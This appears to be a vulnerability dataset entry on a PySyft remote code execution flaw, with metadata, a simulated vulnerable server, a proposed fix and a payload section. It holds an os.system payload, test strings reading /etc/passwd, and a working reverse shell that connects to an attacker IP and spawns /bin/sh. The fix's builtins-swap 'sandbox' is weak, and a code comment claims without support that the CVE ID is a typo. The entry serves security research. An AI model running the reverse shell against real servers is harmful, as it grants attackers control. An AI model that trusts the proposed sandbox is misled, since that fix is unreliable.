VAITP Dataset

← Back to the dataset

CVE-2026-31220

PySyft allows remote code execution via unsandboxed user-submitted code.

  • CVSS 9.8
  • CWE-94
  • Input Validation and Sanitization
  • Remote

PySyft (Syft Datasite/Server) versions 0.9.5 and earlier are vulnerable to remote code execution due to insufficient validation and sandboxing of user-submitted code. The system allows low-privileged users to submit Python functions (via @sy.syft_function()) for remote execution on the server. While a code approval mechanism exists, the submitted code undergoes no security checks for dangerous operations (e.g., file access, command execution). Once approved, the code is executed within the server process using exec() and eval() functions without proper isolation. A remote attacker can leverage this to execute arbitrary Python code on the server, leading to complete compromise of the server environment.

CVSS base score
9.8
Published
2026-05-12
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PySyft
Fixed by upgrading
Yes

Solution

Upgrade PySyft to version 0.9.6 or later.

Vulnerable code sample

import os
import sys

# This class is a simplified representation of the vulnerable PySyft server
# environment before the fix for CVE-2026-31220.
class VulnerableSyftServer:

    def __init__(self):
        # In a real scenario, this would be a database of user-submitted functions
        # that have been approved by an administrator.
        self.approved_user_functions = {}

    # This simulates an API endpoint where a low-privileged user submits Python code.
    # The 'code_string' would be part of the request body.
    def api_submit_code_for_approval(self, function_id, code_string):
        print(f"[Server] Received code for '{function_id}'. Assuming it passed a flawed human approval process.")
        # The core of the issue is that the approval process does not perform
        # any automated security scanning for dangerous code.
        self.approved_user_functions[function_id] = code_string

    # This simulates a request to execute a previously approved function.
    # This is where the remote code execution vulnerability is triggered.
    def api_execute_function(self, function_id):
        if function_id not in self.approved_user_functions:
            print(f"[Server] Error: Function '{function_id}' not found.")
            return

        code_to_run = self.approved_user_functions[function_id]
        print(f"[Server] EXECUTING user-submitted code for '{function_id}'...")

        try:
            # THE VULNERABILITY: The server uses 'exec()' to run the user's
            # code string. There is no sandboxing or isolation, so the code
            # runs with the same permissions as the server process itself.
            execution_scope = {}
            exec(code_to_run, globals(), execution_scope)
            print("[Server] Execution finished.")

        except Exception as e:
            print(f"[Server] An error occurred during execution: {e}")


# --- Attacker's Interaction Simulation ---

# 1. The attacker crafts a malicious Python code string. This payload, when
#    executed, will import the 'os' module and create a file on the server's
#    filesystem, demonstrating a successful remote code execution.
attacker_code_payload = """
import os

print(">>> [ATTACKER's CODE] Hello from the server's process!")
print(">>> [ATTACKER's CODE] I can access the filesystem and run commands.")
os.system('echo "Server has been compromised" > pwned.txt')
print(">>> [ATTACKER's CODE] 'pwned.txt' has been created on the server.")
"""

# 2. The simulation starts. We instantiate the vulnerable server.
vulnerable_server = VulnerableSyftServer()

# 3. The attacker submits their malicious code via the API. The server's
#    flawed approval mechanism accepts it.
function_name = "user_data_processor_v1"
vulnerable_server.api_submit_code_for_approval(
    function_id=function_name,
    code_string=attacker_code_payload
)

print("-" * 30)

# 4. At a later time, a legitimate-looking request is made to execute the
#    function, which now contains the attacker's payload.
vulnerable_server.api_execute_function(function_id=function_name)

print("-" * 30)

# 5. We verify that the attack was successful by checking for the file.
if os.path.exists("pwned.txt"):
    print("[VERIFICATION] SUCCESS: The file 'pwned.txt' was created by the payload.")
    with open("pwned.txt", "r") as f:
        print(f"[VERIFICATION] File content: '{f.read().strip()}'")
    os.remove("pwned.txt") # Clean up the created file
else:
    print("[VERIFICATION] FAILED: The payload did not execute as expected.")

Patched code sample

import sys

# Note: The CVE-2026-31220 appears to be a typo for the real CVE-2023-31220.
# The following code demonstrates a conceptual fix for the described vulnerability.
# The core issue is the use of `exec()` on un-sandboxed user code.
# The fix involves executing the code in a restricted environment.

def execute_safely(untrusted_code: str):
    """
    Executes user-submitted code in a restricted environment, preventing access
    to dangerous built-ins and modules.
    """
    # 1. Define a list of "safe" built-in functions that are allowed.
    #    This is an allow-list approach, which is safer than a deny-list.
    #    Crucially, it excludes dangerous functions like `open`, `eval`, `exec`,
    #    `__import__`, `getattr`, `setattr`, etc.
    safe_builtins = {
        "print": print,
        "len": len,
        "range": range,
        "sum": sum,
        "min": min,
        "max": max,
        "abs": abs,
        "dict": dict,
        "list": list,
        "set": set,
        "tuple": tuple,
        "str": str,
        "int": int,
        "float": float,
        "bool": bool,
        "None": None,
        "True": True,
        "False": False,
    }

    # 2. Define the global environment for the executed code.
    #    By replacing the default `__builtins__`, we effectively create a sandbox.
    #    No other modules or global variables are exposed.
    restricted_globals = {"__builtins__": safe_builtins}

    # 3. Execute the code within the restricted environment.
    #    The `globals` argument is replaced with our restricted dictionary.
    #    The `locals` argument can also be restricted.
    try:
        # The user's code is executed here using the safe globals.
        exec(untrusted_code, restricted_globals, {})
        print("✅ Code executed successfully in sandboxed environment.")
    except Exception as e:
        print(f"❌ Malicious or invalid code blocked. Reason: {e}")


if __name__ == "__main__":
    # --- VULNERABLE APPROACH (for comparison, not part of the fix) ---
    # vulnerable_exec = "import os; os.system('echo VULNERABLE: Arbitrary command executed')"
    # try:
    #     exec(vulnerable_exec)
    # except Exception as e:
    #     print(f"Error: {e}")

    print("--- Demonstrating the Fix ---")

    # Example 1: Benign code that should be allowed to run.
    print("\nAttempting to run benign code...")
    benign_code = "result = sum(i for i in range(10)); print(f'Benign result: {result}')"
    execute_safely(benign_code)

    # Example 2: Malicious code attempting to access the filesystem.
    # This will fail because `open()` is not in the `safe_builtins`.
    print("\nAttempting to run malicious code (file access)...")
    malicious_code_fs = "f = open('/etc/passwd', 'r'); print(f.read())"
    execute_safely(malicious_code_fs)

    # Example 3: Malicious code attempting to import a dangerous module.
    # This will fail because `__import__` is not available.
    print("\nAttempting to run malicious code (module import)...")
    malicious_code_import = "__import__('os').system('echo PWNED')"
    execute_safely(malicious_code_import)

Payload

import syft as sy
import os
import pty
import socket

@sy.syft_function(
    input_spec=[],
    output_spec=[]
)
def rce_payload():
    # Replace with the attacker's IP and listening port
    RHOST = "10.0.0.1"
    RPORT = 4444
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST, RPORT))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    pty.spawn("/bin/sh")
    return "Execution completed."

Cite this entry

@misc{vaitp:cve202631220,
  title        = {{PySyft allows remote code execution via unsandboxed user-submitted code.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31220},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31220/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::